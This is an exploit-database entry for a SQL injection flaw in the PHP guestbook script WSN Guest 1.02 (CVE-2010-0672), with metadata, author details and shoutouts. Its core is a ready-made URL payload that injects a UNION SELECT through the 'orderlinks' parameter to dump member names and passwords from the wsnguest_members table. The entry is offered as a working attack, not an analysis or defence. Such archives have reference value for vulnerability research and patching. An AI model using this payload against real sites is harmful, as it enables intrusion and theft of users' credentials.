WSN Guest 1.02 - 'orderlinks' SQL Injection

Author: Gamoscu
type: webapps
platform: php
port: 
date_added: 2010-02-12 
date_updated: 2017-01-12 
verified: 1 
codes: OSVDB-62530;CVE-2010-0672 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comwsnguest.zip

###########################
Author    : Gamoscu
Homepage  : http://www.1923turk.com
Blog      : http://gamoscu.wordpress.com/
Script    : WSN Guest 1.02
Download  : http://scripts.webmastersite.net/wsnguest/wsnguest.zip
###########################

Exploat  :index.php?page=20&orderlinks=SQL




http://server/wsnguest/index.php?page=20&orderlinks=+and+1=0+union+select+name,null,null,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+wsnguest_members--



##############################################################
# Greetz: Manas58 - Baybora - Delibey - Tiamo - Psiko - Turco - infazci - X-TRO
##############################################################

Veda Turlarý :)